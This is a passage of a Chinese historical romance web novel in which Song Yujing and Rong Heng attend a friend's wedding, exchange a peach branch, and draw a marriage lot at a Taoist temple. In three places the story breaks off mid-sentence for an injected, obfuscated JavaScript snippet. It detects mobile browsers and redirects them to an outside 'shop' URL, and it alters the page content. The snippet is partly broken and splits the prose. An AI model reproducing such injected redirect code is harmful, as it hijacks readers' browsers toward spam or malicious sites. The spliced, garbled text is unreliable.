说着,他停顿一下,眉眼含笑,“看来我的运气还是不错。” “你手上的事情忙完了?”见他点头,宋予静便问,“等会儿能陪我去玩吗?” “好。” 他答应得干脆,她却觉得这样的情景似曾相识,回想与他相处的场景,她认为自己有必要解释一下:“我不是只会玩,最近我在帮忙看账册。” 容珩反而有些疑惑:“这是自然,你在信里跟我说过,况且以你的聪慧,应该不难。” “那是,我发现了不少问题,母亲不仅夸我,还给了我不少银子。” 她坦然收下他的夸奖,往空中抛起沉甸甸的钱袋,抓在手里,豪气地一挥手。 “所以今天不管你看上了什么,我全包了。” 他勾起嘴角:“那就先谢姑娘的赏了。” 和容珩在外逛了一天,宋予静想起订好的首饰,亲自去铺子里取,小心翼翼地抱在怀里。 “这是什么?”容珩问,“不方便的话,权当我没有问。” “准备给平远侯府徐姐姐出阁的贺礼,就不给你看了。”她回答,“我提前三个月订的,幸好及时做出来了。” 其他添妆的贺礼都准备妥当,只剩这最后一份,她想了想,又问:“你到时候会去观礼吗?” “侯府送了请帖。”容珩笑道,“我会去的。” 闲谈的工夫,已经回到公主府,宋予静说:“我回去了。” “等等。” 闻言,她立即转身回到他的面前,“怎么了?” 他扫了眼侧门处的门房,稍微压低声音:“你还有很多铺子没看吗?” “基本都看完了。” “你若是得空的话,我请你去城西逛逛,如何?”他补充道,“我出钱。” 有人出钱,还能出去玩,宋予静一口答应:“有空,那我明天早上辰时初去找你。” “好。” 30. 孰美 虽然容珩说由他出钱,但出门前,宋予静还是习惯性拎起钱袋子,以备不时之需。 到达约好见面的地方,她远远地看见万分熟悉的身影,正站在摊子前,不知在和摊主说些什么。 走近之后,她听见他清润的声音:“劳驾,羊肉切碎些,汤里再加点葱花,不用很多,一小搓……” 话未说完,容珩一眼看见她,露出笑容:“你来了。” “你到的好早哦。”宋予静瞧了眼正在熬面汤的大锅,跟着他在木桌边落座,“我明明算准了时辰。” “只比你早到了一盏茶。”容珩眉眼间笑意更甚,“我按照你昨天说的,点了两碗羊肉面。” “现在天气渐渐转凉了,正是吃羊肉的好时候……” 正说着,看清旁边匆匆经过的人,宋予静一愣,犹豫要不要打招呼时,对方似乎看见她了,快步走过来。 她只得起身:“徐公子。” “宋姑娘。”徐远拱手,看见坐在她对面的容珩,连忙补充,“容公子。” 容珩同样起身回礼。 彼此客套几句后,徐远提出告辞,再次匆匆离开。 再过几天就是徐婉出阁的日子了,徐远不留在家里帮忙,神色如此焦急,是打算去哪里做什么? 担心徐婉,宋予静不由盯着徐远离开的背影,直到消失在街尾尽头,才收回视线,暗自琢磨着回府后,抽空派人去问问。 “两位慢用。” 摊主将两碗冒着热气的羊肉面放在桌上,重新回到灶锅后,继续忙着给其他客人煮面。 宋予静先喝了几口热汤,抬头看见容珩握住筷子,微垂眼帘,碗里的面原模原样,一点都没有动过。 “怎么不吃?”她问,“我尝了下,膻味不重,摊主的手艺很好。” 容珩摇头,同样先喝两口汤,抬眸看着她,状似不经意地问:“你和那位徐公子很熟?” “不算熟,上个月七夕是我第一次见到他,有时候我去侯府找徐姐姐,偶尔见过一两次。” 宋予静拿起桌上的小坛子,倒了满满一勺深棕色佐料,加进碗里,细细拌匀。 “你要来点醋吗?” 空气里飘起淡淡的酸味,容珩看了眼她递过来的小醋坛子,缓缓吐出两个字:“不用。” 晨间凉意略重,一碗热气腾腾的羊肉下肚,浑身都暖和起来。 待容珩向摊主付了钱,宋予静指向前面不远处的瓷器铺子,建议道:“我们先去那里逛逛,好吗?” 容珩自然没有任何异议,无论她说什么,全都温声应好。 接连两天跟容珩在城里游玩闲逛,宋予静淘到不少好东西,玩得险些忘了去平远侯府观礼的事情。 到了八月二十四日,她早早起来,跟着庆阳长公主一起前往平远侯府的后院,宋学士则带着宋归鸿去了前院。 她暗自猜测,主要是因为庆阳长公主与平远侯夫人关系不错,或许也有借此机会,与京城勋贵百官打好交道的用意。 今日的平远侯府张灯结彩,满目都是喜庆的红色,来来往往的侍从仆妇忙得脚不沾地,脸上堆满笑容,嘴上一刻不停地向宾客说着喜庆话。 宋予静扶着庆阳长公主走进闺房。 徐婉梳好了妆,头戴华丽翟冠,身着大红色的嫁衣,姿态端庄地坐在床边,瞧见两人进来,下意识起身想要行礼。 “坐着吧。”庆阳长公主笑着摆手,“今儿是你大喜的日子,不必讲这么多的规矩,可别把妆弄花了。” 徐婉看向旁边的平远侯夫人,见母亲微微颔首,这才慢慢退回去,重新坐定。 屋里还有其他命妇以及平远侯府的亲眷,你一言我一语,全都在贺喜。 气氛热闹融洽,不会有人在这个时候不长眼色,说出一些煞风景的话。 徐婉规矩地坐着,嘴角抿出羞涩的笑容。 过了片刻,平远侯夫人招呼各府的夫人去前堂喝茶,只留下与徐婉同龄的贵女。 宋予静这才有空凑过去,看向盛装打扮的徐婉,感慨道:“徐姐姐,你今天可真漂亮,我都看得挪不开眼睛了。” 她说的诚心诚意,语气不似作伪,双眼更是认真注视。 徐婉微启红唇:“承宋妹妹吉言。” 宋予静笑嘻嘻地点头。 亲眷好友添妆一般在新娘子出阁前的两三日,前天庆阳长公主便让人将贺礼送到平远侯府。 她之前取的是一副宝石头面,随着府里的贺礼一起送过来,也让冬雪问过徐婉,得知徐婉最近一切安好,她便放心许多。 眼下的情景不好直接问徐婉是否喜欢,宋予静坐在圆凳上,有一搭没一搭地和其他人聊天。 正聊到最近京城里有什么美食,瞧见徐婉微抿红唇,还做了个吞咽的动作,她不由问:“徐姐姐,你渴了吗?要不要喝水?” 她一边问,一边伸手去案上端茶。 不等徐婉开口婉拒,有位年轻姑娘朗声笑道:“这会儿可不能随意喝水吃东西,天还没亮就起来化的妆,要是不小心弄花了,岂不是白白早起了。” 宋予静看向对方,认出是徐氏族人,与徐婉同辈,歉然道:“是我思虑不周。” 闲聊了半天,屋外的乐声由远及近,高亢欢闹,隐约夹杂宾客的笑声。 “快拿盖头过来!” 喜娘一直待在屋里,并没有插话,此时才连声吩咐侍女拿起鸳鸯绣纹的大红色缎布,盖在翟冠上,严严实实地遮住徐婉的脸庞。 候在旁边的侍女与喜娘一同扶起徐婉,步伐缓而有序地朝外走去。 宋予静自觉让开,望着徐婉窈窕身影在众人的簇拥下,慢慢走远。 按照礼仪,徐婉要去前堂拜别父母家人,尔后跟随前来迎亲的新郎一起离开。 她留在原地,沉默地站了半晌,方才缀在人群末尾,跟着去前院观礼。 前院的人更多,站在厅内大多是徐氏族内长辈亲眷,另有便是前来迎亲的一行人。 宋予静隐在人群之中,踮起脚尖往前面瞄,正好看见平远侯夫人目含泪花,嘴角却抿起笑容,细心叮嘱即将离家的女儿。 她无声地看着,末了,往左右两边看看,再偷偷看了一眼庆阳长公主,悄悄离开前院。 今日侯府的众人都忙得很,路上遇见几名侍女,只来得及行礼一番,便匆忙告退。 宋予静不想麻烦人,抬脚走向花园。 来平远侯府的次数不算少了,不会再像第一次那样迷路,她仔细观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961247|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围,避开赴宴的宾客,沿着蜿蜒小路往前走。 小路栽种的花木有些飘零,不似春日时的百花齐放。 她踱步拐过转角,在假山石边看见一个人影,身着绛色圆领袍,低头靠坐在石墩上,隐约看得见他以手背擦过眼角。 宋予静立即停下脚步,认出对方的身份,放轻脚步,尽量不发出任何声响,悄悄往后倒退。 “……宜宁县主。” 闻声,她只好看向对方,回礼道:“徐公子。” “县主是迷路了吗?”徐远快步走过来,眼眶微红,仍挤出笑容,“需要在下为您带路吗?” 视线匆匆掠过对方眼角,她微垂眼帘,“没有,宴席还没有开始,我来花园走走,不慎叨扰,是我之过,还望徐公子莫怪。” “县主言重了。” 一时无声,宋予静偷偷观察徐远不舍的神情,思及与徐婉的情分,暗自叹息,缓声宽慰:“徐姐姐觅得良人,是她的幸事,今天又是大喜的日子,望请徐公子莫再伤怀,不然徐姐姐会担心你。” 徐远使劲用手背擦过眼角,擦得那双眼睛更红了,声音嘶哑:“县主说的在理,是我失态了。” 她曾听徐婉提及过,徐远幼时身子不好,徐婉对他颇为照顾,姐弟二人感情深厚,也难怪徐远会一个人躲在这里。 “无妨,还请徐公子放心,方才之事,我必定守口如瓶。” 困窘尴尬之色顿时浮现在徐远脸上,他清清嗓子,抬头望前一看,神情越发尴尬,又不得不开口:“在下见过容世子。” 宋予静一惊,立时回头。 容珩站在几步之外,身着绯色交领袍,秋风渐起,广袖飘飘,脸上没有丝毫笑意,一动不动地望着两人。 “你怎么在这里?”她小跑过去,不自觉地扬起笑容,“刚才观礼的时候,我好像没有看到你,还以为你没有来呢。” 容珩先看了眼站在假山旁的徐远,再看着她,解释道:“或许是因为人多,不过我在人群里看见你了。” “哇,你的眼神真好。” 清浅的笑意漫上他的眼角,可看见走过来的俊秀少年,容珩微微眯起眼睛,笑意若有若无。 宋予静顺着他的视线看过去。 徐远的神情不似之前感伤,快步走上前,拱手作揖,又朝她多行了一礼。 “在下一时钻了牛角尖,幸得宜宁县主开导,在下感激不尽,改日再向县主致谢。” “徐公子言重了。”她客气疏离地回道,“徐姐姐不愿意看到你为她伤心。” 徐远应了声是,朝两人作揖:“府里诸事繁忙,在下先行告辞。” “慢走。” 目送徐远离开,宋予静耸耸肩,双手背到身后,往前稍倾身,看着容珩。 “宴席应该没那么快开始,不如我们去侯府的桃林逛逛,好不好?” “好。” 她立时笑得更开心,勾起他的衣袖,牵在手里往前走,但没走动。 宋予静困惑地回头。 路边绿树还没有掉光叶子,阳光透过枝丫,在他昳丽面容落下一层浅淡的阴影。 容珩往前两步,靠得更近,在她不解的目光中,轻轻一笑:“我孰与城北徐公美?”① 31. 桃枝 那一瞬间,宋予静回想起被学堂先生支配的恐惧,不假思索,脱口而出:“君美甚,徐公何能及君也!”① 开了头,她没有停顿,继续背下去,文章不长,眨眼的工夫,她一字不差地流畅背完。 她浑身一松,往周围看看,“你干嘛突然考我《战国策》?我虽然逃过一次学,但我还是好好背了书的。” 宋予静假意抱怨半晌,发现没有容珩一直没有说话,连忙凑到他的跟前,疑问道:“你怎么了?” 容珩抬起眼帘,睫毛浓密,遮不住那双深邃美丽的黑眸。 此时此刻,他一瞬不离地盯着她,幽暗深沉,眼瞳深处似乎闪着一丝幽光,浅浅地倒映出她的模样。 被他如此专心注视,她捻捻指尖,伸手揉捏生出一丝热意的耳垂,轻咳几声,扭头避开他的目光。 “你问吧,不管你考哪篇策文,我都背得出来。” 容珩没有说话,只定定地望着她。 宋予静的心瞬间提到嗓子眼,急声问:“你哪里不舒服吗?” 近来早晚清凉,午间却偶尔如同盛夏般燥热,现在阳光大盛,周身隐有热意萦绕。 她连忙伸出手,即将触碰到他的额头时,手腕被他轻轻捏住,慢慢移开。 “……我没事。”容珩的声音轻而缓,恍若梦呓,“不用担心。” 宋予静仔仔细细地打量他的神情,既没有苍白如纸,也没有潮红满面,渐渐放下心来。 “那你干嘛一直不说话?”她拍拍胸口,“吓我一跳。” “抱歉。”他垂下眼帘,避开她关心的目光,“我方才在想事情,一时走神,没有听到你说的话。” “那你在想什么呢?想的这么入神?”她倾下身子,偏偏凑近到他的眼前,“那你现在想出什么头绪了吗?” 容珩瞬间闭上眼睛,又缓缓睁开,“暂时还没有想明白。” 宋予静“哦”了一声,不再追问,仍牵着他的衣袖往前走。 容珩落后她两步,跟在身边。 两人一起走进平远侯府的桃花林。 已是八月下旬,满天的粉红云霞早已消退,盛夏时分挂在枝头的蜜桃也不见了踪影。 天气转凉,满树绿叶日渐变黄,随秋风飘落在地,踩在上面,发出沙沙轻响。 宋予静望着前面的垂枝碧桃树,阳春三月时的粉色云霞不在,又修剪了枝干,枝叶稀疏。 一阵秋风刮过,枝头桃叶飘落,她伸手接住一片颜色微黄的叶子,看了一会儿,轻声一叹。 她又回头去看容珩,不知何时,她松开他的衣袖,他渐渐落后许多,沉默地看着旁边的桃树。 宋予静快步走回去,捏住桃叶,在他面前晃了晃,引得他收回目光,看向自己。 “你真的没事吗?你今天的话很少。” 容珩依旧摇头,露出往日温和的笑:“最近天气冷热不定,今日起得早,方才觉得有些困倦。” “是有点。”想起身着厚重嫁衣的徐婉,她一时感慨,“但总体来说还是挺凉爽的,不算太冷也不算太热,难怪两家婚期定在这个时候,忙活一天,新娘也轻松些。” 容珩望着她,轻声回答:“……我记住了。” 不过随口一说,她没料到容珩还如此郑重地说记住了,不由逗他:“你记住这个做什么?” “我……”他抿了抿唇,“不做什么。” 宋予静忍住笑意,不再逗他。 容珩轻咳一声,又转头去看那株碧桃树。 她也跟着看过去,倒是比其他桃树长得更加粗壮,几根斜岔生长的树枝被剪断,隐约还能看见灰白色的切口。 盯着看了半晌,她依旧没能看出这株桃树有什么特别之处,直接问:“你在看什么?” 容珩抬起手,压住一根长而杂乱的树枝,低头看她,反问:“你不记得了吗?” 此情此景有些眼熟,不同之处大概是他今日并非白衣胜雪,身后也不是满天飞红的花瓣。 “你还真是厉害。”宋予静感慨,“这些桃树长得差不多,你竟然还能认出来这是三月时的那株。” 容珩松开手,中途一转,折下一根桃枝,尚未掉光叶子,递到她的面前。 “给你,虽然现在没有漂亮的桃花,但我希望你能收下。” 他都这么说了,宋予静当然不会拒绝,接住桃枝,放在掌心。 与他在桃林里闲逛半天,她仰头观察天空的太阳,说:“时候不早了,应该快开宴了,我们走吧。” 容珩应了声好,跟着她一起走出桃林。 “我走这边。”宋予静站在垂花门处,今日的婚宴男女分席,不好在再跟他待在一起,“有空我再去找你。” 容珩依旧应好,看向她的手心,轻声问:“你不会把那根桃枝丢掉吧?” “当然不会了,这可是你亲自折给我的。”幸好今天穿了件广袖,她顺利地将桃枝塞进衣袖里,“我带回去,看能不能叫花匠嫁接一下,种成桃树。” “……倒也不必如此。”容珩闭了闭眼。 “试试嘛,说不定能活。” 宋予静转身朝前走,快拐过转角时,不知为何,她忽然停住,转头往回看。 容珩还留在原地,目光悠悠地望着前方的桃林,似乎察觉到她的视线,立即看过来,朝她笑了笑。 她也跟着笑起来,挥手示意他快去宴席。 见他终于离开,她也迅速赶去宴会厅,悄悄摸到庆阳长公主的身边,无声落座,唤道:“母亲。” 庆阳长公主看了她一眼,微微颔首,并未多问。 她以前跟着庆阳长公主参加过几次婚宴,流程大致相似。 宋予静规规矩矩地坐到宴席结束,站在庆阳长公主身边,看着母亲与平远侯夫人话别。 平远侯夫人眼眶还有些泛红,连脂粉差点掩饰不住,勉强笑笑:“招待不周,殿下莫怪。” “行啦,说这些客气话做什么?”庆阳长公主拍拍她的手,“你呀,将事情吩咐底下人去做,别累着自己个儿了。” 平远侯夫人拿帕子擦过眼角,“宜宁,婉儿虽然出嫁了,有空常来府里坐坐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986848|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋予静瞄了眼母亲的神情,应了声是。 宴席接近尾声,宾客陆续向主家提出告辞。 宋予静跟在母亲身边,一边同其他人客套几句,一边往外走。 走出侯府大门,她稍稍踮起脚尖,视线在众多车轿中搜寻,今日赴宴的府邸很多,她费了些工夫才找到公主府的马车。 但映入眼帘的除了父兄,还有容珩的修长身影。 他怎么会在那里? 疑惑只是短暂一瞬,旋即她猜测容珩在前堂赴宴,或许是在宴席上偶然碰了父亲和兄长。 “母亲,妹妹。” 宋归鸿眼尖,率先朝走过来的两人打招呼。 容珩紧随其后,拱手行礼:“见过殿下、宋姑娘。” “不必多礼。”庆阳长公主虚扶了一把,又看向宋学士,“你们怎么都站在这里?” “方才碰到了容世子,闲聊几句。”宋学士回答,捋捋胡须,“容世子年纪虽轻,却敏而好学,端方持重,鸿儿,你还需向容世子多讨教讨教。” “是,父亲。” 容珩连忙作揖,谦虚道:“学士谬赞了,是晚辈要多向宋兄请教。” 难得听到父亲如此称赞一个人,宋予静悄悄觑了眼容珩,不禁好奇他究竟和宋学士谈了些什么。 又多聊几句,她扶着庆阳长公主坐进马车里,听到外面宋学士与容珩话别,再和宋归鸿坐进另一辆马车里。 她掀开车窗帘子一角往外看。 容珩没有去找镇国公府的马车,虚虚地望着前方,不知在看什么,又忽然抬头看过来,朝她微微一笑。 宋予静也朝他笑了笑。 马车朝前走远,他的身影渐渐变小,看到他终于迈开脚步,去乘镇国公府的马车,她才放下车窗帘,一转头就对上庆阳长公主审视的目光。 “娘?”她心头一跳,“您干嘛这么看着我?” 庆阳长公主摇头不语,仍盯着她看,看得她心里发毛,后背冷汗都要冒出来。 “娘,我保证,我最近都很乖的。”她咽了口唾沫,“绝对没有干什么坏事。” “行啦,你的性子我还不知道,哪里会真的闯出什么大祸。”庆阳长公主停顿一下,“你觉得今日平远侯府的婚宴怎么样?” “办的很不错。” 宋予静以为母亲是在考自己管家中馈,一边回想今天在侯府的所见所闻,一边回答婚宴哪里办得好,哪些地方还可以改进。 “……所以,操办宴席,一定要提前合理地安排好人手,才能稳中不乱,各项事宜都有序进行。” 答完,她看向庆阳长公主,“娘,我说的对吗?” 庆阳长公主却轻声一叹,不等她发问,又笑道:“观察的不错,说的也有道理。” 宋予静立即松了口气。 不过,今天为何这么多人考她呢? 她拧眉思索半晌,得出是巧合的结论,旋即不再多想,依偎在庆阳长公主身边,听母亲讲重阳节的安排。 重阳登高,她摸了摸袖子里的桃枝,到时候可以邀请容珩一起去。 32. 拒绝 镇国公府。 容珩提笔在砚台里蘸了点墨水,笔尖转落在宣纸上,一划一勾,墨色蜻蜓停在荷苞尖,深绿色荷叶丛里,朵朵荷花盛开。 半边荷叶,半边湖水,碧波荡漾,一叶扁舟遨游在湖面。 他又蘸了些银红色的颜料,直盯着画纸,捏紧笔杆,迟迟没有落下。 缓缓呼出一口气后,他提笔勾画,一道高挑的身影落在船头,银红色的衣角随风飞扬。 “世子。”小厮快步走进书房,双手捧着一封信,头深埋下去,“宋姑娘派人送了信。” 容珩手一顿,笔尖凝聚墨水,滴落在纸上,原本要画的斗笠瞬间化成一个浓重的黑团,墨汁蔓延,覆盖那一抹俏丽的银红色。 他盯着画纸,又抬头盯着那封信,久久不语。 小厮埋首更深,双手颤抖,那封信紧跟着颤动,上边的亲启二字格外显眼。 “……拿过来。”他缓声开口。 小厮如蒙大赦,两步上前,将信端端正正地放在书案上,屈膝一礼,躬身迅速退出去。 容珩盯着那封信看了一会儿,终于伸手拿起信,比之前几次的信略重,还有微微凸起的痕迹。 他越发小心,撕开封口,托住笺纸,慢慢抽出,搭在纸上一起出现在眼前的……还有一枝桂花。 层叠的翠绿树叶长而宽,金黄色花朵在枝干盛开,簇拥成团,一股桂花甜香在空气中慢慢弥散。 容珩捏住那枝桂花,低头看信。 依旧是宋予静喜欢的浣花笺,天青色的笺纸,左下角盛开三四朵粉色荷花,纸上字迹潇洒,却不显得随意。 开篇先询问他近来是否安好,天气转冷,需多注意身子,再问他两日后是否得空,愿不愿意陪她去玄平观。 字里行间的语气不像以往那般轻松自在,尤其是最后询问他能否陪她去道观时,更比以往添了几分小心翼翼。 指尖抚过最后几句话,容珩仿佛能想象出她落笔时的模样,眉间轻轻蹙起,杏眸里笑意浅淡,下笔犹豫迟疑,斟词酌句,生怕他拒绝。 但他拒绝她很多次了。 他长叹一声,伸手打开书案边上的长形紫檀木匣子。 里面躺着厚厚一沓信笺,全都是她写来的,除了手里这封,最近一封是重阳节前送来,邀他同去登高。 容珩将信笺小心折好,重新放回信封里,又抽了两张笺纸,笔尖凝在纸上,迟迟不动,墨水洇散,浓黑墨迹蔓延。 拒绝的话语在脑海里过了几遍,之前也写过几封回绝的信笺,以宋予静的性子,只要他认真解释,她从来不会怪他,还会反过来宽慰他。 可是……他已经整整十五天没有见过她了。 容珩闭了闭眼,直接撕碎黑得无法再写的笺纸,单手支着太阳穴,斜倚在圈椅里,另一只手拿着书,纸上的字渐渐糊成一团,眼帘越发沉重。 眼前陷入黑暗,她的身影浮现在脑海里,双眸明亮澄净,笑意盈盈,看人的时候,总是认真专注,能看见她眼中细碎的春光。 她跑到他的面前,勾起他的衣袖,紧拽在手里,深深皱眉,眼眸里的光暗淡消沉。 “你为什么不愿意见我?是不是讨厌我?” 不是讨厌,是喜…… 容珩猛地睁开眼,迅速坐直,书也啪的一声掉落在地。 他轻轻地咬了下口中的软肉,将溜到舌尖即将说出口的那个欢字吞回腹中,又弯腰去捡书。 书页凌乱散开,一句“其妻曰:‘君美甚,徐公何能及君也?’①”霎时映入眼帘,耳边却响起她脆声念出这句话的模样。 紧张又自信,微微摇晃脑袋,活像是在学堂先生面前背书。 她以为他是在考她背书,全然不知他问出那句话后的复杂心绪。 容珩缓缓合上书册,重新抽出一张浣花笺,蘸墨落笔,措辞谨慎,写出来的依旧是婉言谢绝。 “来人。” 守在屋外的小厮应声而进。 他合紧封口,“立即将此信送去长公主府。” 小厮应是,双手恭敬地接过信,匆匆离开书房。 容珩望着门口,半晌后,逼自己收回心神,不要再想。 他卷起那张画卷,放进卷缸里,拿镇纸压好一张全新的洒金宣纸,笔尖落在纸上,再一次勾勒出窈窕的银红色身影。 * “姑娘,玄平观到了。” 侍女勒住缰绳,见骑在前面的人没有停下来的迹象,不得不提高声音。 被侍女叫了几声,宋予静如梦初醒,反问了一声:“什么?” 侍女耐心地重复:“姑娘,玄平观到了。” 她抬头看向前方。 玄平观位于半山腰,周围草木林立,松柏苍翠欲滴,清幽沉寂。 她下了马,将马匹交给角门的道童,相对行礼,率先走进观内。 已过重阳,观内安静,前来上香求签拜神的香客不多。 宋予静直接走到供奉三清的正殿,手持三炷香,贴在眉心,依礼而拜,再稳稳地插进香炉里。 她望着庄严肃穆的三清神像,依照抱拳礼弯腰深拜,萦绕心尖多日的烦闷终于消散些许。 走出正殿后,她淡声开口:“我想一个人走走,你们不用跟着,想干什么就去,但不要叨扰观内诸位道长,我会在天黑前回家。” 随行的几侍女对视一番,恭声应是。 宋予静环顾四周,看见大殿右侧的求签处,心生好奇,左右无事,走过去,停在一名年轻姑娘的身后。 那位姑娘从道士手里接住签文,紧握在手里,转身匆匆走向解签处。 她回头看了眼面色羞红的年轻姑娘,朝签桌后的中年乾道行礼:“见过道长。” 道士回礼,将桌上的签筒往前一推,“姑娘是来求签吗?” 宋予静回了声是,认真听道士讲完求签的流程后,拿起签筒,双手合握,闭上眼睛,轻缓摇动。 耳边响起签片互相轻碰的声音,碰到签筒边缘时,声音略重,风声中夹杂鸟鸣声,隐约还听见一阵脚步声,停在她的身边。 或许也是来求签的香客。 她一边想,一边加快摇签,直至啪嗒几声,签文掉出签筒。 声音听上去有些不对,宋予静立即睁开眼睛,恰好看见签文从木桌边缘掉落。 她连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022382|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙伸手去接。 旁边忽然斜伸出一只手,伸得更低,骨节分明,修长白皙,曾经握住她的手,亲自教她画画。 签文落在她的手里,她的手落在他的手里。 宋予静愣了下,扭头看过去。 白衣胜雪的郎君站在她的身侧,长发半披半束,随着他弯腰的动作滑落,遮住午后的阳光,与她对视一眼,迅速低垂眼帘,不再看她。 她眨了眨眼睛,直盯着他看,手背传来的温热触感不似作伪,他真实地站在她的面前,不是幻觉。 难言的惊喜漫上心头,宋予静一把握住他的手,惊声开口:“欸?你不是说没空来吗?难道是府里的事情忙完了?” 容珩飞快地看了她一眼,顺势回答:“是,事情处理的比较快。” “一切顺利就好。”她站直,“你是刚刚才到吗?” “嗯,见你在求签,不敢打扰你。” 听他提起求签,宋予静看向两人紧紧交握在一起的手,竹片制成的签文横在两人的手心,有些咯手。 他手掌宽厚,几乎将她的手全包住,掌心暖意点点。 她松开手指,却没能抽回,依旧被他抓在手里,不得不轻声开口:“签文已经接住了,你可以放开我吗?” “……失礼了。” 容珩迅速松开手,背到身后。 “没事。” 宋予静捧住签文,交给道士。 道士将签文拓印下来,递还一卷纸卷,朝两人行了一礼后,声音平和道:“解签处就在对面,签文不宜落地,此签可以算作两位一同掷出求到的。” “多谢道长。”她回了一礼,转身朝前走,“来都来了,不如去解签处看看?” 容珩跟在她的身边,低声应好。 解签处不算远,到的时候,前面还排着三四位同样解签的香客。 宋予静跟在最后面,上下打量许久不见的容珩,越看,她越发拧紧眉头,视线落在他的眼底,那里染上一片浅浅的青黑,衬得白皙的脸颊似乎隐隐发白。 “你生病了?”她急声问,“怎么脸色这么难看?” “没有。”容珩微笑,“最近太忙了,夜里觉少。” “真的?” “自然是真的。”他停顿一下,“我不会骗你。” 她还是不放心:“要不要请大夫开点安神药?不想喝药的话,在床头挂个安神的香囊?” “不必。”容珩错开话题,“轮到我们了。” 后面还有在排队的香客,宋予静不得不先将签文递给解签的道士,客气道:“有劳道长了。” 坐在条案后的道士看上去年纪很大,白发苍苍,长长的胡须垂在道袍上,笑容和蔼地接过签纸。 本来就是因为好奇才去求签,宋予静不甚在意签文结果,继续直盯着容珩,试图看出他哪里不对劲。 往常他都会回看她,笑容温和,而不是像现在这样,看她一眼后,便半阖眼帘,盯着地面,一言不发。 没等她看出容珩的异样,解签道士平和的声音先响起。 “这是上上大吉姻缘签,两位缘分天定,切记以心换心,不可错过。” 33. 登高 “姻缘签?” 宋予静大吃一惊,顾不得再盯着容珩,扭头看向道士手里的签文,“道长,我绝对不是怀疑您,但这……这怎么会是姻缘签?” 解签的道士也愣了下,“姑娘在哪里求的签?” 她往正殿前一指:“就在那里。” “原来如此。”道士转头看了一眼,解释道,“因供奉月下老人的殿宇正在修缮,但向月老求签的香客很多,故而将求签的地方挪到了正殿外。” “原来是这样。” 宋予静松了口气,扭头去看容珩,他依旧半阖眼帘,安静无声。 刚才道士说出大吉姻缘签时,她瞬间感受到一股炙热专注的视线,将她彻底笼罩其中。 是她的错觉吗? 眼角余光瞥见后面等着解签的香客,她连忙说:“我们先去别的地方逛逛。” 容珩终于抬头看她,目光似乎比之前更亮:“好。” 观内静谧,来往的除了道士便是香客,互相见礼时,也压低声音,无人大声喧嚷。 宋予静跨过山门。 山石铺就的小径蜿蜒曲折,一路延伸至山林尽头,两侧草木林立,树叶黄绿交杂,秋风清爽,枯黄的叶子脱离枝丫,在空气里悠悠打转,缓缓坠落在地。 枝叶不似盛夏郁郁葱葱,秋日晴朗的阳光穿过枝丫,照在身上,生出舒适的暖意。 她仰头望天。 碧空如洗,澄净瓦蓝,被树枝分割,三四只麻雀在枝头跳跃,黑色鸟喙啄起树干的小野果,清亮的鸟鸣声在林间响起。 宋予静脚尖一转,停在容珩的面前,“虽然已经过了重阳,但不知道容公子是否愿意陪我一同登高望远?” 客气有礼地问完,不等容珩回答,她勾起他的衣袖,紧攥在手里,叹道:“重阳宫宴办的很热闹,但是你不在,一点都不好玩。” 她接连叹了几口气,再抬头看他时,语气又很郑重:“我不知道你在忙什么重要的事情,但一定要注意身体,你忘了之前忙到中暑的事情了吗?” 一连说了半晌,容珩一直没有打断她,此时才应道:“好,我记住了。” “光记住也没用。”她沉下脸,“要好好照顾自己,你看你都瘦了好多。” 容珩依旧笑着应好。 宋予静暂时放心,牵着他的衣袖往前走,“我们去前面看看。” 山路延绵,一路延伸清幽山林,零星飘散几片落叶,想来是道观里的各位道长勤加洒扫。 为了配合容珩,她走得不快,时常停下来观察他的情况。 他却一直跟得上她的步伐,连汗都没冒多少。 一同爬到山路尽头,前面荆棘遍布,不能再往前走。 宋予静驻足,转身俯视。 放眼望去,满山遍野,皆是金黄色,秋日阳光倾洒,更添几分璀璨,偶尔有几株枫树夹杂期间,映出耀眼的金红色,又或是苍松翠柏,四季不改其色。 她环顾四周,在松树底下看到略微凸出来的山石,说:“我们去那里休息一会儿。” 走近之后,她扫干净上面的落叶枯枝,从袖子里抽出两张帕子,分别铺在上面。 “抱歉。” 容珩清润微哑的声音响起,打破山林间的静谧,含着浓浓的自责与歉意。 “对不住,我一直拒绝你的邀约。” 看到他回绝的信件时,说不失望是假话,但这会儿看着满脸自责的他,宋予静又笑起来:“干嘛要说抱歉,我不会怪你,况且你今天不是来赴约了吗?” 容珩望着她,嘴唇翕动。 “不准说对不起!”她连声阻止,“不然我就不理你了!” 见他似乎将道歉的话语咽回去了,她轻轻哼了一声,有意活跃略显凝滞的气氛。 “不就半个月没见,你怎么又这么客气了?”她重重地叹了口气,“果然是和我生分了。” 